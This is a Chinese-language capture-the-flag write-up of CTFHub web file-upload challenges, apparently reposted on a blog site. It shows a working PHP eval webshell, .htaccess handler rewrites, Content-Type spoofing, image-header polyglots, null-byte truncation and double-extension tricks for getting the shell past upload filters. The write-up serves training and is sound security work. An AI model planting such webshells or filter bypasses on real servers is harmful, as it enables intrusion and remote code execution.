CTFHub-Web-文件上傳練習


0x00 無驗證

在這里插入圖片描述

上傳一句話木馬1.php

 <?php @eval($_POST["pass"]);?> 

上傳文件相對路徑upload/1.php
在這里插入圖片描述
使用蟻劍連接,連接密碼為pass
在這里插入圖片描述
查看目錄,flag就在這里
在這里插入圖片描述

0x01 前端驗證

在這里插入圖片描述

上傳一句話木馬,結果提示該文件不允許上傳
在這里插入圖片描述
題目是前端驗證,直接查看網頁源代碼,發現只能上傳.jpg,.png,.gif三種格式的文件
在這里插入圖片描述

把1.php改為1.jpg,然后上傳抓包

在這里插入圖片描述
1.jpg再改為1.php,然后放包
在這里插入圖片描述
上傳成功,得到相對路徑upload/1.php
在這里插入圖片描述
還是一樣的操作,蟻劍連接,查找目錄,找到flag
在這里插入圖片描述

0x03 .htaccess

題目描述:htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過htaccess文件,可以幫我們實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能

訪問
在這里插入圖片描述
查看源代碼,發現文件后綴都被禁用了
在這里插入圖片描述

百度一下hatccess文件,.htaccess是Apache的又一特色。一般來說,配置文件的作用范圍都是全局的,但Apache提供了一種很方便的、可作用於當前目錄及其子目錄的配置文件——.htaccess(分布式配置文件)

.hatccess文件有兩種寫法

第一種方法:
下面代碼的意思是,只要文件名中包含pass,就會被Apache解析為php文件。

<FilesMatch "pass">
SetHandler application/x-httpd-php
</FilesMatch>

提示文件名不能為空,命名為3.hatccess,用bp抓包,將3.htaccess改為.htaccass,然后放包
在這里插入圖片描述

.htaccass文件上傳成功
在這里插入圖片描述
把上面用到的1.php改為3.pass文件,上傳文件相對路徑upload/3.pass
在這里插入圖片描述

蟻劍連接,可以看到上傳的文件
在這里插入圖片描述
查找flag
在這里插入圖片描述

第二種方法:·

內容為

AddType application/x-httpd-php .jpg

就成功地使該.htaccess文件所在目錄及其子目錄中的后綴為.jpg的文件被Apache當做php文件

上傳test.htaccess

在這里插入圖片描述

上傳成功
在這里插入圖片描述

再上傳3.jpg,內容為<?php @eval($_POST["pass"]);?> ,獲取到上傳文件路徑
在這里插入圖片描述
蟻劍連接,連接成功。
在這里插入圖片描述

參考文章:文件解析漏洞

0x04 MIME繞過

在這里插入圖片描述
直接上傳4.php,提示文件類型不正確
在這里插入圖片描述

來使用MIME繞過,百度了解一下MIME

MIME(Multipurpose Internet MailExtensions)多用途互聯網郵件擴展類型。是設定某種擴展名的文件用一種應用程序來打開的方式類型,當該擴展名文件被訪問的時候,瀏覽器會自動使用指定應用程序來打開。多用於指定一些客戶端自定義的文件名,以及一些媒體文件打開方式。MIME 消息能包含文本、圖像、音頻、視頻以及其他應用程序專用的數據。

MIME多用於指定一些客戶端自定義的文件名,以及一些媒體文件打開方式每個MIME類型由兩部分組成,前面是數據的大類別,例如聲音 audio、圖象 Image等,后面定義具體的種類。

常見的MME類型,例如:

#text表明文件是普通文本
text/plain
text/html
#image表明是某種圖像或者動態圖(gif)
image/jpeg
image/png
#audio表明是某種音頻文件
audio/mpeg
audio/ogg
audio/*
#video表明是某種視頻文件
video/mp4
#application表明是某種二進制數據
application/*
application/json
application/javascript
application/ecmascript
application/octet-stream

上傳4.php,使用bp抓包,修改Content-Typed的值,改成Content-Type: image/jpeg,然后放包
在這里插入圖片描述
上傳成功,得到文件相對路徑
在這里插入圖片描述
蟻劍連接,查找目錄文件,即可得到flag
在這里插入圖片描述

參考文章: MIME 類型

0x05 文件頭檢查

在這里插入圖片描述

上傳一句話木馬5.php,提示文件類型不正確

在這里插入圖片描述
再把5.php修改成5.jpg上傳,發現提示文件錯誤
在這里插入圖片描述
嘗試MME繞過,上傳5.php,抓包,修改Content-Typed的值,然后放包,發現提示文件錯誤
在這里插入圖片描述

應該是對文件內容進行了檢測,來制作一個圖片碼m.php
在這里插入圖片描述
抓包修改Content-Type的值,放包
在這里插入圖片描述
結果提示文件錯誤
在這里插入圖片描述

看了大師傅的wp,說盡量換小一點的圖片,就會成功,這次換了一個非常小的圖片,重新制作圖片馬
在這里插入圖片描述

上傳flag.php,抓包修改Content-Type的值為image/png
在這里插入圖片描述
上傳成功,得到上傳路徑
在這里插入圖片描述

蟻劍連接,拿到flag
在這里插入圖片描述

0x06 00截斷

了解一下00截斷,關於上傳中的00截斷分析
在這里插入圖片描述

上傳一句話木馬,提示文件類型不匹配, 但在url欄出現了路徑信息
在這里插入圖片描述
查看源代碼
在這里插入圖片描述
上傳shell.jpg,抓包
在這里插入圖片描述
構造00截斷,添加shell.php%00,放包
在這里插入圖片描述
上傳成功路徑為upload/shell.php,蟻劍連接
在這里插入圖片描述
拿到flag
在這里插入圖片描述

0x07 雙寫后綴

在這里插入圖片描述

上傳一句話木馬shell.php,雖然上傳成功,但后綴卻消失了
在這里插入圖片描述
查看源碼,$name = str_ireplace($blacklist, "", $name);,變量blacklist里面的值會被替換,后綴被過濾了
在這里插入圖片描述
繼續上傳shell.php,然后抓包修改成shell.pphphp,中間的php字符串被過濾,剩下的php就組合成了php

在這里插入圖片描述
文件上傳成功,得到文件上傳路徑
在這里插入圖片描述
蟻劍連接,flag就在這
在這里插入圖片描述


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM